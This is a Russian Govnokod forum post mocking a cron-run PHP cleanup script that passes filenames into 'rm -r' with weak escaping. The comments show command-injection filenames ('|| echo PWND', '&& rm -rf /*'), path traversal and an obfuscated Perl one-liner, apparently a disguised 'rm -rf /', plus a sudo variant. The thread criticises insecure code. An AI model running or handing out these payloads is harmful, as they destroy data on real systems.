1. PHP / Говнокод #23370

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    $ls = explode("\n", shell_exec("ls -A"));
    foreach ($ls as $item) {
    	if ($item != 'doc2txt.php' and $item != 'nohup.out' and trim($item) != '') {
    		$dir = str_replace(
    			[' ', '(', ')', ';', '=', '<', '>', "'"],
    			['\ ', '\(', '\)', '\;', '\=', '\<', '\>', "\'"],
    			$item);
    		exec("rm -r -- $dir");
    	}
    }

    Cron
    00 20 * * * /usr/bin/php /var/www/somedir/data/scripts/doc2xml/doc2txt.php
    Allahu akbar !

    Запостил: abyss, 28 Сентября 2017

    Комментарии (40) RSS

    • touch 'foo\ doc2txt.php'
      Ответить
      • touch 'foo\ $HOME'
        touch 'foo\ || echo "PWND"'
        Ответить
      • Финальная версия:
        touch "`echo -ne '$HOME&&echo\tPWND|tee\tPWND.doc'`"
        Ответить
        • Кстати, а PHP защищает от заливки подобного говна с табами и спецсимволами через POST?
          Ответить
          • Не ну пхп все же не настолько решето, файлики зальются в переименованными в темповую директорию. Впрочем, ничто не мешает пыхомакаке достать говно с табами из запроса и засунуть куда не следует. Так что самая большая уязвимость пхп – это погромисты на нем.
            Ответить
            • В примере они предлагают делать move_uploaded_file под оригинальное имя, которое в посте прилетело... Вот и интересно, фильтрует ли оно подобный мусор.
              Ответить
              • Судя по первому комментарию http://php.net/manual/en/function.move-uploaded-file.php#111412, ничего оно не фильтрует. К слову, функция из того поста достойна отдельного говнокода. :3
                Ответить
                • Нас уже 14 485 260.
                  Ответить
                • Что может случиться, если не отфильтровать?
                  Ответить
                  • См. специально сформированное имя файла выше ;)
                    Ответить
                  • fotochka.jpg && rm -rf /*
                    Ответить
                    • Ну это для долбоебов, которые в exec засовывают. Что будет если имя файла такое создастся?
                      Ответить
                      • А ты думаешь, что таких долбоёбов мало? Не в exec засунут, так в sql или html запихают без экранировки.

                        Лучше уж зафильтровать имя к хуям или вообще заменить уникальной айдишкой, чем расширять поверхность атаки до всех говноскриптов, которые это имя могут увидеть.
                        Ответить
                      • g: move_uploaded_file cve
                        https://tools.cisco.com/security/center/viewAlert.x?alertId=38762, например.
                        Ответить
                      • Ну, во-первых:
                        ../../../index.php

                        потому во всех примерах берут basename() от приходящего имени.
                        Во-вторых, некорректная обработка нулевого байта в move_uploaded_file(), что припомнили выше. Уже как-бы пофиксили, но какая уважающая себя пыхомакака в здравом уме обновит свой пых и похерит половину работавших ранее костылей? Тут стоить припомнить уебанский пыховерсионинг, когда ломающие изменения могут прилететь и с минорным апдейтом.
                        Наконец, наличие символов, не допустимых для используемой ФС. Не фатально, но неприятно.
                        Существует не так много кейсов, когда имя файла, приходящее в посте, имеет какое-то значение. В остальных 99% случаев уж точно нужно переименовать а в случае картинок/видосиков ещё и пережать. Ибо нехуй.
                        Ответить
                        • ФС разве даст создать имя со слешом?
                          Ответить
                          • Не даст, но ей и не надо. Путь будет интерпретирован как относительный и файл будет создан где-то за пределами директории для загрузок. Например, в /var/www/somedir/data/scripts/doc2xml/.
                            Ответить
                    • @ПЫТАЕШЬСЯ СОЗДАТЬ ФАЙЛ С ТАКИМ ИМЕНЕМ
                      @ЧТО-ТО ПОШЛО НЕ ТАК
                      @СНЕС СЕБЕ СИСТЕМУ
                      Ответить
                      • Ну как тут не вспомнить нестареющую классику:
                        cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
                        Ответить
                        • Уже не сработает в бубунтах. Пофиксили запуск в корне, нужен ключ --preserve-root.
                          Ответить
                          • Я починил:
                            cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{=?\$/|<-|}<&|`~{;;y;~ -/:-@[-`{-};*`-{/" -;;s;;$_;see'

                            Теперь с добавкой sudo!
                            Ответить
                            • и что, никакие антивирусы на это не поругаются?
                              Ответить
                              • Нет: https://www.virustotal.com/#/file/658c058126ef1f6eb298786fbf62a8a402a0ad5c
                                6d8780524d34e2514532b32a/detection

                                (ГК - бака, незаметно вставил пробел посередине)
                                Ответить
                                • Oops, I know nothing about this item.
                                  
                                  Hi there, my name is Win32.Helpware.VT... certain antivirus labs also call me W32.eHeur.BadNews.GAFE, I guess it is because every time I appear they get very upset. It looks like you found a hole in my malware net...
                                  
                                  The request failed with status code: 404
                                  Ответить
                                • Проголосовал за "Safe"
                                  Ответить
                                • Ну правильно, для винды то угрозы никакой
                                  Ответить
                                  • А оно так и работает на самом деле.
                                    На неприкрытый rm -rf /* всем похуй
                                    http://bit.ly/2ynTdK8
                                    А вот на батник ругается :3
                                    http://bit.ly/2fOMpO7
                                    Ответить
                                    • А вот в вызове system(), то какой-то икарус чует неладное:
                                      http://bit.ly/2g7Y5s8
                                      ... но ровно до тех пор, пока бинарь не стрипнули, лол
                                      http://bit.ly/2g9CU97
                                      Ответить
                                      • Внезапно: у сайта http://www.ikarus.hu/ есть версия на русском языке. Они всё ещё надеются, что мы будем покупать их железки.
                                        Ответить
                                    • >> Trojan.Win32.FormatC.m
                                      Я так понимаю, у них ещё есть Trojan.Win32.FormatA.m, Trojan.Win32.FormatB.m, ..., Trojan.Win32.FormatZ.m?
                                      Ответить
                                      • зачем A и B, когда дискет больше нет?
                                        Ответить
                                        • > когда дискет больше нет
                                          А вдруг я туда флешку замапаю?
                                          Ответить
                                          • Интересно кстати, почему так никто не делает.
                                            Я ставлю винду десятку и она мой диск помечает как C. А могла бы как A.

                                            С другой стороны половина говнопрограмм бы наверняка отвалилась


                                            зы: вот тебе загадка (я в свое время пол дня убил чтобы найти ответ): как винда привязывает том к букве?

                                            Ответить
                                            • > как винда привязывает том к букве
                                              По айдишке диска/раздела вроде бы, а маппинг в реестре хранится. Нет?
                                              Ответить
    • > exec("rm -r -- $dir");
      Даже не знаю, насколько нужно быть отбитым, чтобы поместить переменную, в которую может прилететь хоть что-то от пользователя, в exec...
      Ответить
      • И насколько нужно быть отбитым, чтобы поместить скрипт в каталог с данными, а потом героически спасать его от обработки самим собой.
        Ответить

    Добавить комментарий